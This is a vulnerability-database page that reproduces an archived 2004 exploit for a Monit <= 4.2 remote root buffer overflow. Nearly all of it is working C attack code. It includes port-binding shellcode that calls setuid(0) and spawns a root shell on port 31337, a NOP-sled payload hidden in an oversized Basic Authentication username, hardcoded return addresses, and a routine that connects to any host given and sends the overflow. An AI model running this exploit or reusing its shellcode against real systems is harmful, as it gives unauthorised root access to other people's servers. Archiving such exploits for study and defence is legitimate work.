Lucene search
K

Monit <= 4.2 - Remote Root Buffer Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 33 Views

Remote Root Buffer Overflow in Monit v4.

Code

                                                /*
 * THE EYE ON SECURITY RESEARCH GROUP - INDIA
 *
 * www eos-india net poc 305monit.c
 * Remote Root Exploit for Monit &#60;= 4.2
 * Vulnerability: Buffer overflow in handling of Basic Authentication informations.
 * Server authenticates clients through:
 * Authentication: Basic Base64Encode[UserName:Password]
 * Here we are exploiting the insecure handling of username in Basic Authentication information to return
 * control (EIP) to our payload.
 *
 * Nilanjan De [n2n linuxmail org] - Abhisek Datta [abhisek front ru]
 *
 * 06.04.2004
 * www eos-india net
*/

#include &#60;stdio.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;netdb.h&#62;
#include &#60;unistd.h&#62;

#define 	BUFF_SIZE	2048
#define		PADDING		40
#define		EXP_SIZE	(256+4+PADDING)
#define MAX_ARCH 2
struct eos{
	char *arch;
	unsigned long ret;
} targets[] = {
	&#34;Monit-4.2-Gentoo&#34;,
	0xbf7fef02,
	//-------------------------------
	&#34;Monit &#60;=4.2 Crash&#34;,
	0xbadc0ded,
	NULL,
	0
};
/*
 x86 linux portbind a shell in port 31337
 based on shellcode from www.shellcode.com.ar
 with a few modifications by us
*/
 
char shellcode[]=
        /* sys_fork() */
	&#34;\x31\xc0&#34;                      // xorl         %eax,%eax
	&#34;\x31\xdb&#34;                      // xorl         %ebx,%ebx
	&#34;\xb0\x02&#34;                      // movb         $0x2,%al
	&#34;\xcd\x80&#34;                      // int          $0x80
	&#34;\x38\xc3&#34;                      // cmpl         %ebx,%eax
	&#34;\x74\x05&#34;                      // je           0x5
	/* sys_exit() */
	&#34;\x8d\x43\x01&#34;                  // leal         0x1(%ebx),%eax
	&#34;\xcd\x80&#34;                      // int          $0x80
        /* setuid(0) */
        &#34;\x31\xc0&#34;                      // xorl         %eax,%eax
        &#34;\x31\xdb&#34;                      // xorl         %ebx,%ebx
        &#34;\xb0\x17&#34;                      // movb         $0x17,%al
        &#34;\xcd\x80&#34;                      // int          $0x80
        /* socket() */
        &#34;\x31\xc0&#34;                      // xorl    %eax,%eax
        &#34;\x89\x45\x10&#34;                  // movl    %eax,0x10(%ebp)(IPPROTO_IP = 0x0)
        &#34;\x40&#34;                          // incl    %eax
        &#34;\x89\xc3&#34;                      // movl    %eax,%ebx(SYS_SOCKET = 0x1)
        &#34;\x89\x45\x0c&#34;                  // movl    %eax,0xc(%ebp)(SOCK_STREAM = 0x1)
        &#34;\x40&#34;                          // incl    %eax
        &#34;\x89\x45\x08&#34;                  // movl    %eax,0x8(%ebp)(AF_INET = 0x2)
	&#34;\x8d\x4d\x08&#34;                  // leal    0x8(%ebp),%ecx
        &#34;\xb0\x66&#34;                      // movb    $0x66,%al
        &#34;\xcd\x80&#34;                      // int     $0x80
        &#34;\x89\x45\x08&#34;                  // movl    %eax,0x8(%ebp)

        /* bind()*/
        &#34;\x43&#34;                          // incl    %ebx(SYS_BIND = 0x2)
        &#34;\x66\x89\x5d\x14&#34;              // movw    %bx,0x14(%ebp)(AF_INET = 0x2)
	&#34;\x66\xc7\x45\x16\x7a\x69&#34;      // movw    $0x697a,0x16(%ebp)(port=31337)
        &#34;\x31\xd2&#34;                      // xorl    %edx,%edx
        &#34;\x89\x55\x18&#34;                  // movl    %edx,0x18(%ebp)
        &#34;\x8d\x55\x14&#34;                  // leal    0x14(%ebp),%edx
        &#34;\x89\x55\x0c&#34;                  // movl    %edx,0xc(%ebp)
        &#34;\xc6\x45\x10\x10&#34;              // movb    $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16)
        &#34;\xb0\x66&#34;                      // movb    $0x66,%al
        &#34;\xcd\x80&#34;                      // int     $0x80
 
        /* listen() */
        &#34;\x40&#34;                          // incl    %eax
        &#34;\x89\x45\x0c&#34;                  // movl    %eax,0xc(%ebp)
        &#34;\x43&#34;                          // incl    %ebx
        &#34;\x43&#34;                          // incl    %ebx(SYS_LISTEN = 0x4)
        &#34;\xb0\x66&#34;                      // movb    $0x66,%al
        &#34;\xcd\x80&#34;                      // int     $0x80
 
        /* accept() */
        &#34;\x43&#34;                          // incl    %ebx
        &#34;\x89\x45\x0c&#34;                  // movl    %eax,0xc(%ebp)
        &#34;\x89\x45\x10&#34;                  // movl    %eax,0x10(%ebp)
        &#34;\xb0\x66&#34;                      // movb    $0x66,%al
        &#34;\xcd\x80&#34;                      // int     $0x80
        &#34;\x89\xc3&#34;                      // movl    %eax,%ebx
 
        /* dup2() */
        &#34;\x31\xc9&#34;                      // xorl    %ecx,%ecx
        &#34;\xb0\x3f&#34;                      // movb    $0x3f,%al
        &#34;\xcd\x80&#34;                      // int     $0x80
        &#34;\x41&#34;                          // incl    %ecx
        &#34;\x80\xf9\x03&#34;                  // cmpb    $0x3,%cl
        &#34;\x75\xf6&#34;                      // jne     -0xa
 
        /* execve() */
        &#34;\x31\xd2&#34;                      // xorl    %edx,%edx
        &#34;\x52&#34;                          // pushl   %edx
        &#34;\x68\x6e\x2f\x73\x68&#34;          // pushl   $0x68732f6e
        &#34;\x68\x2f\x2f\x62\x69&#34;          // pushl   $0x69622f2f
        &#34;\x89\xe3&#34;                      // movl    %esp,%ebx
        &#34;\x52&#34;                          // pushl   %edx
        &#34;\x53&#34;                          // pushl   %ebx
        &#34;\x89\xe1&#34;                      // movl    %esp,%ecx
        &#34;\xb0\x0b&#34;                      // movb    $0xb,%al
        &#34;\xcd\x80&#34;;                     // int     $0x80

void show_help(char *pr00gie,u_short opt) {
	int i=0;
	printf(&#34;==========&#62; THE EYE ON SECURITY RESEARCH GROUP &#60;==========\n&#34;);
	printf(&#34;Monit &#60;= 4.2 Remote Root Exploit\n&#34;);
	printf(&#34;n2n[at]linuxmail[dot]org - abhisek[at]front[dot]ru\n&#34;);
	printf(&#34;http://www.eos-india.net\n\n&#34;);
	if(!opt)
		return;
	printf(&#34;[usage]\n&#34;);
	printf(&#34;%s [Remote Host] [Remote Port] [Target]\n&#34;,pr00gie);
	printf(&#34;[Available Targets]\n&#34;);
	while(targets[i].arch != NULL) {
		printf(&#34;%d. - %s\t - %p\n&#34;,(i),targets[i].arch,targets[i].ret);				
		i++;
	}
}
/* Base 64 code ripped from monit src */
/**
 * Base64 encode one byte
 */
static char encode(unsigned char u) {

  if(u &#60; 26)  return &#39;A&#39;+u;
  if(u &#60; 52)  return &#39;a&#39;+(u-26);
  if(u &#60; 62)  return &#39;0&#39;+(u-52);
  if(u == 62) return &#39;+&#39;;

  return &#39;/&#39;;

}
/**
 * Base64 encode and return size data in &#39;src&#39;. The caller must free the
 * returned string.
 * @param size The size of the data in src
 * @param src The data to be base64 encode
 * @return encoded string otherwise NULL
 */
char *encode_base64(int size, unsigned char *src) {

  int i;
  char *out, *p;

  if(!src)
    return NULL;

  if(!size)
    size= strlen((char *)src);

  out= (char *)malloc(sizeof(char)*size*4/3+4);

  p= out;

  for(i=0; i&#60;size; i+=3) {

    unsigned char b1=0, b2=0, b3=0, b4=0, b5=0, b6=0, b7=0;

    b1 = src[i];

    if(i+1&#60;size)
      b2 = src[i+1];

    if(i+2&#60;size)
      b3 = src[i+2];

    b4= b1&#62;&#62;2;
    b5= ((b1&0x3)&#60;&#60;4)|(b2&#62;&#62;4);
    b6= ((b2&0xf)&#60;&#60;2)|(b3&#62;&#62;6);
    b7= b3&0x3f;

    *p++= encode(b4);
    *p++= encode(b5);

    if(i+1&#60;size) {
      *p++= encode(b6);
    } else {
      *p++= &#39;=&#39;;
    }

    if(i+2&#60;size) {
      *p++= encode(b7);
    } else {
      *p++= &#39;=&#39;;
    }

  }

  return out;

}


void make_http_request(char *buff,int size,char *host,unsigned long *magic) {
	char *exp_buff;
	char *exp_buff_encoded;
	int i;
	if (!(exp_buff=(char*)malloc(EXP_SIZE))){
		perror(&#34;malloc()&#34;);
		exit(1);
	}
	
	memset(exp_buff,0x90,EXP_SIZE);
	strcpy(exp_buff+256-strlen(shellcode),shellcode);
	for(i=256;i&#60;EXP_SIZE-5;i+=4)
		memcpy(exp_buff+i,magic,4);
	strcpy(exp_buff+EXP_SIZE-4,&#34;:x&#34;);
	exp_buff_encoded=encode_base64(EXP_SIZE,exp_buff);	
	memset(buff,0x00,size);
	sprintf(buff,&#34;GET / HTTP/1.0\r\n&#34;);
	sprintf(buff,&#34;%sHost: %s\r\n&#34;,buff,host);
	sprintf(buff,&#34;%sAuthorization: Basic %s\r\n\r\n\r\n&#34;,buff,exp_buff_encoded);
	
}
int main(int argc,char *argv[]) {
	char *host;
	char *b;
	int rport;
	int sockfd;
	struct sockaddr_in sin;
	struct hostent *h;
	unsigned int n;
	unsigned long magic;
	if(argc != 4) {
		show_help(argv[0],1);
		exit(1);
	}
	host=argv[1];
	rport=(atoi(argv[2]));
	n=atoi(argv[3]);
	if((n &#62;= MAX_ARCH)||(n&#60;0)) {
		printf(&#34;- Invalid target\n&#34;);
		show_help(argv[0],1);
		exit(1);
		}
	magic=targets[n].ret;
	show_help(argv[0],0);
	printf(&#34;-Using RET %p\n&#34;,magic);
	printf(&#34;Resolving %s\t&#34;,host);
	h=gethostbyname(host);
	if(!h) {
		printf(&#34;[ERROR]\nUnable to resolve: %s\n&#34;,host);
		exit(1);
	}
	else
	printf(&#34;[DONE]\n&#34;);
	b=(char*)malloc(BUFF_SIZE);
	if(!b) {
		perror(&#34;malloc&#34;);
		exit(1);
	}
	sin.sin_addr=*((struct in_addr*)h-&#62;h_addr);
	sin.sin_family=AF_INET;
	sin.sin_port=htons((u_short)rport);
	if((sockfd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))&#60;0){
		perror(&#34;socket&#34;);
		exit(1);
	}
	printf(&#34;Connecting to %s:%d\t&#34;,host,rport);
	if(connect(sockfd,(struct sockaddr*)&sin,sizeof(sin))&#60;0) {
		printf(&#34;[ERROR]\nUnable to connect: %s:%d\n&#34;,host,rport);
		perror(&#34;connect&#34;);
		exit(1);
	}
	else
	printf(&#34;[DONE]\n&#34;);
	make_http_request(b,BUFF_SIZE,host,&magic);
	if(send(sockfd,b,strlen(b),0) == strlen(b))
		printf(&#34;Successfully send exploit string\n&#34;);
	else
		printf(&#34;Failed sending exploit string\n&#34;);
	close(sockfd);
	return 0;
}




// milw0rm.com [2004-04-12]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation